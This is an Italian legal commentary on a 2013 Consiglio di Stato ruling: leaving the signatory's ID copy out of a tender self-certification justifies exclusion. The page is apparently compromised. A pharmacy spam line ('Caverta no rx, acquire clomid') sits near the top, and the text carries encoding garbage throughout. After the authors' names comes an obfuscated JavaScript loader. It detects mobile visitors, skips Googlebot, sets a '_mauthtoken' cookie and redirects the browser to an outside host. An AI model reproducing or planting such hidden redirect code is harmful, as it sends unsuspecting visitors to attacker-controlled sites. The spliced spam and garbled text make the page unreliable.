La produzione della copia fotostatica del documento di riconoscimento del sottoscrittore dell’autocertificazione allegata all’offerta A? un adempimento … inderogabile, la cui mancanza rende legittima l’esclusione dalla gara.
Caverta no rx, acquire clomid.
CONSIGLIO DI STATO, SEZ. V – sentenza 9 aprile 2013 n. 1915 – Pres. Trovato, Est. Gaviano.
Il caso
In una gara per l’aggiudicazione del servizio di assicurazione degli automezzi di proprietA� di un ente locale, la commissione delibera l’esclusioneA� di un concorenteA� per la mancata presentazione in allegato al modulo di autocertificazione, dei documenti di riconoscimento dei dichiaranti. La Compagnia assicuratrice esclusa dalla gara ricorre al TAR e chiede l’annullamento dell’aggiudicazione, sostenendo, fra l’altro, che la mancanza del docomento di riconoscimento non avrebbe potuto comportare l’esclusione dalla gara, ma semmai una richiesta di integrazione documentale. Il giudice di primo grado rigetta questo motivo del ricorso, che, peraltro, accoglie per altre ragioni. L’Ente locale e l’aggiudicatario impugnano la decisione del TAR e l’originario ricorrente presenta appello incidentale avverso il rigetto della doglianza di illegittima esclsuione dalla gara. Il Consiglio di Stato, nell’esame dell’appelo incidentale, affronta anche la questione della legittimitA� o meno dell’esclsuione dalla gara per la mancata allegazione del documento di riconoscimento ad una autodichiarazione richiesta dal bando di gara.
La sentenza
Il Consiglio di Stato, con la pronuncia in commento, in particolare, conferma che, nelle procedure per l’aggiudicazione di appalti pubblici, l’allegazione della copia fotostatica del documento del sottoscrittore della dichiarazione sostitutiva, prescritta dall’art. 38, comma 3, t.u. 28 dicembre 2000, n. 445, A? un adempimento inderogabile, atto a conferire, in considerazione della sua introduzione come forma di semplificazione, legale autenticitA� alla sottoscrizione apposta in calce alla dichiarazione, e giuridica esistenza ed efficacia all’autocertificazione. Pr i Giudici di Palazzo Spada si tratta, quindi, di un elemento integrante della fattispecie normativa, teso a stabilire, data l’unitA� costituita dalla fotocopia del documento di identitA� e dalla dichiarazione sostitutiva, un collegamento tra la dichiarazione ed il documento, e a comprovare, oltre alle generalitA� del dichiarante, l’imputabilitA� soggettiva della dichiarazione al soggetto che la presta (C.d.S., V, 26 marzo 2012, n. 1739; nello stesso senso cfr., ad es., IV, 2 settembre 2011, n. 4967).
Conclusioni
Il Consiglio di Stato con la pronuncia in commento ha ribadito, quindi, unA� consolidato insegnamento giurisprudenziale sulla base del quale nelle procedure per l’aggiudicazione di appalti pubblici l’allegazione della copia fotostatica del documento del sottoscrittore della dichiarazione sostitutiva, prescritta dall’art. 38, comma 3, t.u. 28 dicembre 2000, n. 445, A? un adempimento inderogabile.
Da��altra parte A? noto, quanto consolidato, la��insegnamento giurisprudenziale relativo alla��istituto del c.d. dovere di soccorso codificato dalla��art. 46 d.lgs. n. 163/2006, per cui l’omessa allegazione di un documento o di una dichiarazione previsti a pena di esclusione non puA? essere considerata alla stregua di un’irregolaritA� sanabile, e, quindi, non ne A? permessa l’integrazione o la regolarizzazione postuma, non trattandosi di rimediare a vizi puramente formali. E ciA? tanto piA? quando non sussistano equivoci o incertezze generati dall’ambiguitA� di clausole della legge di gara (cfr., tra le piA? recenti: C.d.S., V, 2 agosto 2010, n. 5084; 2 febbraio 2010, n. 428; 15 gennaio 2008, n. 36).
Stefano Pozzer
Katia Marettovar _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}